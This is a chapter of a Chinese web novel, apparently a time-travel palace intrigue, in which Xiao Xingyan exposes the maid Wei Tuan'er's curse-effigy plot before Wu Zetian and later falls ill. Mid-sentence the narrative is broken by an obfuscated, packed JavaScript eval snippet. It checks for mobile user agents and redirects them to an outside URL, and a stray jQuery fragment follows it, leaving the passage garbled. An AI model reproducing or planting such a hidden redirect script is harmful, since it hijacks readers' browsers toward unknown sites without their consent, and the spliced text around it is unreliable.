110. 难道是压胜之术导致人生病了?……
作品:《女国公从烧窑开始[武周]》 “皇嗣?”萧行雁微微张大嘴巴,皇嗣那种性格,还能私藏人偶?
难道韦团儿提前出手了?也不是没可能。
萧行雁心中好奇,也跟着起身:“狄公,我能随你一同去看看吗?”
“……你想跟着就跟着吧。”
巫蛊之术乃是十恶之一,罪当处斩,可偏偏是在东宫查出。
狄仁杰心中叹息,却也不知如何再替人开脱。
倘若萧行雁这个当事人不在乎,或许人能被保下来?
狄仁杰忧心忡忡,萧行雁全然不知。
她随着狄仁杰一起出了门,又上了自己的马车:“周阿婆,随着狄公的马车一同走,麻烦了。”
“唉。”周四娘也没问太多,只应了一声。
两辆马车便朝着皇宫的方向驶去。
.
东宫气氛一片冷凝。
皇嗣一家战战兢兢跪在地上,武则天则是坐在众人面前。
“陛下!奴婢真真切切看到,这东西是在窦氏和刘氏院子里挖出来的!”
武曌揉着眉心:“拿过来!”
韦团儿咬了咬下唇:“此物不洁,万不可让陛下亲眼看到。”
武曌有些不耐烦了。
“拿来!”
韦团儿一个瑟缩,当即将罪证呈了上来。
是两个桐木人偶,上面刻着武曌的名字,还有一个,则是刻着萧行雁的名字。
武曌脸色微微一变:“召萧行雁来!”
话音刚落,便有宫女前来,在武曌耳边低语了几句。
武曌脸色怪异起来:“宣他们进来吧。”
皇嗣一家战战兢兢跪在地上,唯有年纪较小的八娘偷偷抬了抬眼。
没多久,萧行雁就跟在狄仁杰身后进来了。
看到萧行雁,几人也是微微一愣。
萧行雁随着狄仁杰见了礼,这才将布娃娃拿了出来:“陛下,臣要告状!”
掷地有声的六个字一出来,众人都是一愣。
“今日臣正在生资署批文书,却有人将此物悬挂在臣的窗户外,臣觉得,有人在威胁臣!”
众人:“……”
武曌揉揉眉心,看了萧行雁一眼,又看向她手上被开膛破肚的布娃娃和写了她名字的布条,一时也有些无奈。
“拿着这晦气东西做什么,还不扔了。”
萧行雁一脸无畏:“没关系,这东西就是看着丑了些,没什么毒的。”
众人:“……”
武曌一时间也有些语塞:“……压胜之术邪佞,未必无害,听话,把东西放下。”
萧行雁乖乖将红彤彤的布娃娃放在地上:“陛下,臣想告状!”
“罢了……”武曌嘴角微抽:“朕已经再审了。”
萧行雁看了一眼跪着的几人:“回陛下,臣不觉得是皇嗣的人。”
“嗯?”武曌抬了抬眼皮,声音微沉:“那你觉得是谁?”
“臣也不知道,但大约不是皇嗣一家。”萧行雁又踢了一脚布娃娃:“这东西挂在生资署,大约是哪个能出去的人挂的。”
武曌正想说什么,突然又看向韦团儿:“东宫可有能出去的工人。”
“有!”韦团儿突然激动道:“窦氏身边的奶娘便能出去!”
众人一时沉默,连狄仁杰都不由得隐隐侧目。
谁不知道东宫早就被监视成了一个铁桶,进出的人带什么东西,那都是要被细细查过一遍的。
若真是奶娘带出去的,却没人知道,负责监视东宫的人岂不是都犯了大错?
果不其然,韦团儿话音刚落,周围便呼啦啦跪了一片。
武曌冷笑一声:“奶娘带出去的?”
韦团儿顿时抖起来。
萧行雁看了韦团儿一眼,这才轻轻“咦”出声来:“你不是那日我来东宫时开门的人么?”
武曌脸色又是一变:“你何时又成了东宫的人?”
韦团儿顿时跪伏在地,瑟瑟发抖起来。
她原本是武曌身边随身的侍婢,出现在东宫还故作主人姿态的开门就显得格外可疑了。
武曌冷声道:“此事究竟是如何?朕再给你最后一次机会,若能仔细道来,朕便免你这次死罪。”
“奴婢……奴婢是听说窦氏形迹可疑,才来看的!”
韦团儿心中对萧行雁也记恨上了,身为皇帝身边的人,却想攀附皇嗣,这样的话说出来恐怕也难逃一死。
武曌微微阖上双眸:“看来在你眼里,朕是糊涂了。”
这几人若真有动作,先知道的大概也是武曌,又怎么会是韦团儿先得知?
除非报信的人告诉了韦团儿,韦团儿却没再报与武曌。
韦团儿没明白,心中还存在侥幸:“奴婢亲眼看到窦氏将此物埋于地下。”
“嗯……不对吧?”萧行雁不知何时走到了那对桐木人偶旁边,拿起人偶摆弄起来:“这上面的似乎有血,刻木偶的人伤了手吗?”
韦团儿下意识藏了藏手,动作不大,却足以让人注意到。
众人一愣,武曌更是深深看了韦团儿一眼,随即又看向萧行雁,黑着脸。
“成什么体统?!还不把那晦气东西放下,回来。”
萧行雁讪讪放下,走到武曌身边,又看向武曌,好似低声一般:“陛下,臣刚刚看到那宫人鞋上有土,是甄官署烧青瓷是特用的高岭土呢!”
众人:“……”
武曌似笑非笑看了萧行雁一眼:“怎么,怕朕有失偏颇?”
说着,她看向韦团儿,神色也又冷了下来:“你现在认罪,朕还可饶你一命。”
原本此事算是家事,武曌想暗中处理的,可偏偏带上了萧行雁,萧行雁觉得自己受了威胁,还报了官,把狄仁杰也招来了……
此事若悄无声息压下,怕是再不可能了。
但要说萧行雁做错了?
武曌又有些语塞,一个小娘子,被人用这种血淋淋的东西吓一遭,还能坚持去报官,人家也没做错什么。
她抬起眼,看向韦团儿,眼神更冷了:“韦团儿,你可知你该当何罪?”
韦团儿脑子都是木的。
她呿嚅片刻,终究没能说出话来。
此次全她是临时起意。
自从调到武曌身边后,她便有了自傲的资本,可前段时间,武曌身边又多了个叫柳沉燕的女官。
看着这个原本日子还过得不如自己的才女,一跃成为武曌身边的红人,她心中便像是有只看不见的灰鼠啮噬着她的心脏。
若想要压过她,那便只有成为王妃或者皇嗣妃。
她不能出宫,便只能将视线转移到皇嗣身上。
性格是软弱了些,但好歹身份尊贵。
她便去找了皇嗣,可谁知这个人竟不知好歹!
看着他宁愿宠幸那窦氏都不愿多看她一眼,她心中怒火更甚,恰巧此时,萧行雁出现了,她来送青瓷,又和皇嗣第三子闹了些矛盾。
这下连理由都有了!
可她自以为天衣无缝的计划,却……
她闭了闭双眼,哑声道:“奴婢认罪。”
这次是她输了。
她恨恨看了萧行雁一眼。
却见萧行雁兴致缺缺,眼神都懒得给她一个。
又是这样,又是这样!
这群人自以为多了不起,都敢看不起她!
她脸色瞬间扭曲,不知从哪里生出来一股力气,抓住地上刚刚被武曌摔碎的碎瓷片,从地上一跃而起,朝着萧行雁就刺过来。
“我靠!”萧行雁连忙侧身,一只手迅速拽着人的胳膊,顺势将人拽倒在地。
韦团儿扑了个空,落在地上。
萧行雁躲得虽快,脸侧却还是被划了个细小的口子,伤口也微微肿起来。
武曌周身顿时冷凝下来:“把她带下去!”
周围顿时涌上来一群人,七手八脚将韦团儿押了下去。
萧行雁心跳这才微微平稳下来,低声骂了一句“神经病”,这才彻底松了一口气。
看着韦团儿那副慷慨就义的表情,萧行雁更迷惑了。
她在燃什么?
武曌看了萧行雁脸侧的伤口一眼,声音温和下来:“你今日受惊了,许你三日假,回去好好休息吧。”
萧行雁双眼一亮,连忙拜谢:“多谢陛下!”
看着萧行雁欢天喜地出去,武曌轻笑一声,随后又将视线转了回来,看向皇嗣一家:“管家不严,连这点小事都解决不了,我看也不必……”
“阿婆!”却见是八娘含着泪包看向武曌:“阿婆,八娘怕……”
或许是前段时间见过的原因,八娘也没那么怕这位祖母了。
武曌看着孙女的脸,愣了许久,到底还是心软了。
她叹了口气,看向刘氏和窦氏:“罢了,便褫夺你们二人的封号,以侍妾的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881460|180738||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身份留在东宫吧。”
“还有皇嗣,”武曌转过视线,看向刚想松一口气的皇嗣:“在东宫禁闭三月。”
“喏。”
这口气到底还是彻底松了。
几人本就是被幽禁在东宫,轻易不得外出,这罚了跟没罚也差不多了。
命令一一下达完,武曌起身,带着一群人,浩浩荡荡出了东宫。
皇嗣一家缓缓起身,李隆基还有些震惊,喃喃道:“那人居然没害我们……”
窦氏拍了拍他的脑袋:“慎言!”
……
梁王府内。
武三思一把将桌上的东西全都扫落在地。
田余音连忙跪下:“王爷息怒。”
武三思坐在床边:“全都出去!”
田余音看着这人摔断的腿,心中嗤笑一声,面上却依然恭敬:“喏。”
说罢,她带着众奴婢一同出了房间。
武三思暴怒地将床上的东西全都扫落:“蠢货!又是一个蠢货!”
“萧行雁!!!”他额头青筋爆起,双拳攥紧:“又坏我好事!!!”
他没想到韦团儿会这么蠢,居然对着萧行雁下手。
枉他当初在韦团儿身上费了那么多心思,就为了把人送到武曌身边,结果没能左右武曌的想法不说,又让皇嗣一家入了武曌的双眼!
“王爷……”一道怯怯的声音从床上传来,似乎有些颤抖。
武三思厌恶地看了她一眼:“我都说了,所有人都滚出去,你在这儿做什么?!”
芙蓉带着些讨好的笑意:“妾有一些法子。”
.
“阿嚏——”萧行雁然后就揉鼻子,头疼道:“药!药!药!”
她窝在床上,鼻涕止不住的往下流。
白霜端来药,递到人手上,心疼地替人揉着脑袋:“大夏天,好端端的怎么就病了?”
萧行雁精神萎靡的卧在床上:“大约是昨晚半夜下床时没穿袜子吧。”
白霜一愣:“您又半夜自己起来了?!”
萧行雁脑袋动了动,露出脸来:“就喝口水的事儿,也犯不着把人再叫醒。”
谁知道这就病了,明明之前都从来没这么脆皮过,当年她零下几度的天气,吃冰饮都没事儿……
“阿嚏!”
喷嚏连连不断,萧行雁自然也不能再出去见人,干脆让白霜一一将昨日约好的邀约全都推了。
自己则在床上躺着怀疑人生。
难受,太难受了……
整个人头昏脑胀,呼吸不畅,四肢还酸痛不已。
她摸了摸自己的额头,并不很烫。
“也没烧起来啊,怎么这么难受?”她喃喃片刻,百思不得其解。
药中大约有一些安眠的成分,过了半炷香时间,她头晕脑胀地睡了过去。
再睁眼时,一家三口全都守在自己床边了,外面的天色已经黑了。
萧行雁眨眨眼,有些迷茫:“阿耶阿娘,阿娘,你们怎么过来了?”
周沛萍和宋琴一人抓着她的手,一人摸着她的脑袋,不由叹了口气:“你生病少,突然病了,我们也担心。”
“当年你烧得那场……”周沛萍眼眶又有些红了,哽咽着说不出话来。
宋琴也一脸愧疚怜惜。
若非当年受他们所累,萧行雁大约不会出事,这个他们从另一个世界来的女儿,也不会大病三月。
萧兴安大约还是顾着男女大防,不曾靠近,只站在稍远的地方,沉思道:“今日县主来探病时说,宫中有人用压胜之术,你不忌讳碰了那东西,莫非是因此病了?”
“没有的事!”萧行雁挣扎着坐起来:“是我昨夜私自起来受凉了,这才病了,不是什么大事,过段时间自然就好了。”
宋琴有些惆怅,萧行雁不是这个世界的人,上次带她去青牛观险些被看出真身来,但压胜之术显然已经影响到萧行雁了,要不带她去佛寺里拜拜……
“唉……”
萧行雁不知道宋琴脑子里千回百转,连她不是这个世界的人这件事情都考虑到了,听见宋琴叹气,还以为是在愁她的病。
萧行雁安抚道:“真的就只是几天,我有经验,三日后症状就会减轻了。”
感冒么,哪有那么严重。
“不是……”宋琴正要说什么,外面传来敲门声。
“阿郎,夫人,大人,叶家小郎君来了。”

